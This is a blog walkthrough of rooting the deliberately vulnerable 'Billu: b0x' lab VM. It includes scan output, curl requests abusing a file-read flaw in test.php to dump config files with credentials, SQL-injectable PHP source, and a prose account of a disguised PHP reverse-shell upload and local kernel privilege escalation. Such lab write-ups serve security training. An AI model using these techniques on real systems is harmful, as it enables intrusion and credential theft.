Billu: b0x VM

Pete
SecurityBytes
Published in
9 min readAug 9, 2017

A Vulnerable VM walkthrough:

Having being buried under a large pile of some slightly more esoteric learning for a couple of months, in the hope of fending off imposter syndrome, I’ve had little time to do a vulnerable VM. Time to rectify that!

It’s worth noting my initial popping of b0x was not done in the authors intended manner (Via the web app). I’ve included the intended manner at the end as an exercise in taking ‘the long way round’.

Usual starting points:

root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.56.1 0a:00:27:00:00:00 (Unknown)
192.168.56.100 08:00:27:0c:2b:bc CADMUS COMPUTER SYSTEMS
192.168.56.107 08:00:27:1c:31:b1 CADMUS COMPUTER SYSTEMS

Got the ip, time to give it an nmap:

root@kali:/# nmap -A 192.168.56.107Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-02 12:33 WEST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.107
Host is up (0.00031s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only 2 ports 22/80, and now for a nikto:

root@kali:/var/www/html# nikto -h 192.168.56.107
- Nikto v2.1.6
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ Target IP: 192.168.56.107
+ Target Hostname: 192.168.56.107
+ Target Port: 80
+ Start Time: 2017–08–02 10:20:35 (GMT1)
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ Server: Apache/2.2.22 (Ubuntu)
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: testing only
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ IP address found in the ‘location’ header. The IP is “127.0.1.1”.
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is “http://127.0.1.1/images/”.
+ Uncommon header ‘tcn’ found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for ‘index’ were found: index.php
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-12184: /?=PHPB8B5F2A0–3C92–11d3-A3A9–4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, inode: 22710, size: 5108, mtime: Tue Aug 28 11:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ /in.php?returnpath=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /in.php?returnpath=http://cirt.net/rfiinc.txt?: RFI from RSnake’s list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ OSVDB-3092: /test.php: This might be interesting…
+ 8346 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time: 2017–08–02 10:21:00 (GMT1) (25 seconds)
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
+ 1 host(s) tested

I’ve highlighted the interesting bits in bold. I’m going to start with the phpinfo() output because, as always, enumeration is key. Now, no-one is interested in me cutting and pasting that output here but this is a key finding.

mysql enabled on the box.

And finally, a good old dirbustering:

/usr/share/wordlist/dirbuster/directory-list-1.0.txt
/usr/share/wordlist/dirb/big.txt

loads of interesting looking files there! Things of specific interest:

  • /phpmy/ — none default phpmyadmin install location?
  • c.php
  • show.php
  • in.php
  • add.php
  • /uploaded_images/ — given the add.php, can take a guess at an image upload location from that?
  • head.php
  • test.php

Right let’s start looking at the web server shall we?

Hmmmm… interesting SQLi. We’ve already decided that mysql is running on the box in some form, but I’m uncertain this isn’t a red herring. After 30 minutes of prodding it with no joy and eventually just firing sqlmap at it, I returned to the Nikto/dirbuster output.

test.php

file is empty, eh? Okay lets see if we can utilise that, using curl to force the request as a POST. (This can just as easily be done in burp/Zap if that’s more you bag).

Yep, we have read access to the box. Superb. Let’s check out the index.php

root@kali:~# curl -X POST --data “file=index.php” 192.168.56.107/test.php
<?php
session_start();
include(‘c.php’);
include(‘head.php’);
if(@$_SESSION[‘logged’]!=true)
{
$_SESSION[‘logged’]=’’;

}
if($_SESSION[‘logged’]==true && $_SESSION[‘admin’]!=’’)
{

echo “you are logged in :)”;
header(‘Location: panel.php’, true, 302);
}
else
{
echo ‘<div align=center style=”margin:30px 0px 0px 0px;”>
<font size=8 face=”comic sans ms”> — ==[[ billu b0x ]]== — </font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value=”let\’s login”>’;
}
if(isset($_POST[‘login’]))
{
$uname=str_replace(‘\’’,’’,urldecode($_POST[‘un’]));
$pass=str_replace(‘\’’,’’,urldecode($_POST[‘ps’]));
$run=’select * from auth where pass=\’’.$pass.’\’ and uname=\’’.$uname.’\’’;
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo “You are allowed<br>”;
$_SESSION[‘logged’]=true;
$_SESSION[‘admin’]=$row[‘username’];

header(‘Location: panel.php’, true, 302);

}
else
{
echo “<script>alert(‘Try again’);</script>”;
}

}
echo “<font size=5 face=\”comic sans ms\” style=\”left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\”>B0X Powered By <font color=#ff9933>Pirates</font> “;
?>

So we have ‘c.php’, ‘head.php’ which we had already seen in our dirbustering and a select statement pointing to a table called auth. Let’s start with the curiously named c.php

root@kali:~# curl -X POST --data “file=c.php” 192.168.56.107/test.php
<?php
#header( ‘Z-Powered-By:its chutiyapa xD’ );
header(‘X-Frame-Options: SAMEORIGIN’);
header( ‘Server:testing only’ );
header( ‘X-Powered-By:testing only’ );
ini_set( ‘session.cookie_httponly’, 1 );$conn = mysqli_connect(“127.0.0.1”,”billu”,”b0x_billu”,”ica_lab”);// Check connection
if (mysqli_connect_errno())
{
echo “connection failed -> “ . mysqli_connect_error();
}
?>

Cool, we now have sql creds, which incidently are neither the SSH or web app logon creds. We can read files across the box though right, including config files, right? A little bit of speculative file reading later (and given we knew about /phpmy/ from our dirbustering):

root@kali:/# curl -X POST — data “file=/var/www/phpmy/config.inc.php” 192.168.56.107/test.php
<?php
/* Servers configuration */
$i = 0;
/* Server: localhost [1] */
$i++;
$cfg[‘Servers’][$i][‘verbose’] = ‘localhost’;
$cfg[‘Servers’][$i][‘host’] = ‘localhost’;
$cfg[‘Servers’][$i][‘port’] = ‘’;
$cfg[‘Servers’][$i][‘socket’] = ‘’;
$cfg[‘Servers’][$i][‘connect_type’] = ‘tcp’;
$cfg[‘Servers’][$i][‘extension’] = ‘mysqli’;
$cfg[‘Servers’][$i][‘auth_type’] = ‘cookie’;
$cfg[‘Servers’][$i][‘user’] = ‘root’;
$cfg[‘Servers’][$i][‘password’] = ‘roottoor’;
$cfg[‘Servers’][$i][‘AllowNoPassword’] = true;
/*snip*\?>

Looks like mysql was setup with root permissions. A quick ssh to check.

root@kali:/# ssh root@192.168.56.107/*snip*\root@indishell:~# whoami
root

Yep. We’re done.

How the author expected it done (via the web app).

Using the billu / b0x_billu credentials from within the c.php file we gain access to phpMyAdmin control panel found at 192.168.56.107/phpmy/

Then taking a look at our previously identified ‘auth’ table we have our logon credentials. No sqli required.

Using these login deets we get through to panel.php (which previously redirected us) where we can show or add users.

Attempting to upload a bog standard php reverse shell failed. Appending it with a .jpg/png/gif also failed.

Using a trick i’ve deployed on a previous VM I created a gif file by inserting the hex header.

Then echo’ed in pentest monkeys reverse php shell which has been renamed rev.php and dropped on my desktop with all the relevent parts changed (ip/port).

Attempting to upload this file works and browsing to our uploaded_images directory we can see it in all it’s glory.

Setting up a netcat listener and clicking it we get….

no shell :(

At this point I spent a fair amount of time being a bit stuck. I had upload but no trigger. I ultimately spent a wedge of time re-enumerating the pages I’d found and testing inputs, finally stumbling on the load functionality within panel.php. I might actually learn enumeration is key one day.

So using this one to try trigger our reverse shell:

Success!

Now we have a low priv shell to play with. I started with enumerating the OS and Kernel versions:

Ubuntu 12.04 and a 3.13 kernal, throw them into the local version of searchsploit and use grep to remove any remote exploits or denial of service, as neither of those are of interest to us, and we get one likely looking exploit.

Back on our low priv shell I check for world writable files:

Then to ensure we have got access to wget:

Start up apache on my Kali instance and cp the exploit across to /var/www/html, making it accessible to external hosts.

I ‘wget’ the file from the low priv shell

Then, confirm its arrived, chmod it to have relevent permissions, attempt to compile it but make a syntax error, actually compile it, confirm the binary is there, run it, and finally arrive at root.

That was a fun little VM.

--

--

Pete
SecurityBytes

InfoSec architect, analyst and researcher. Suffering from full time imposter syndrome.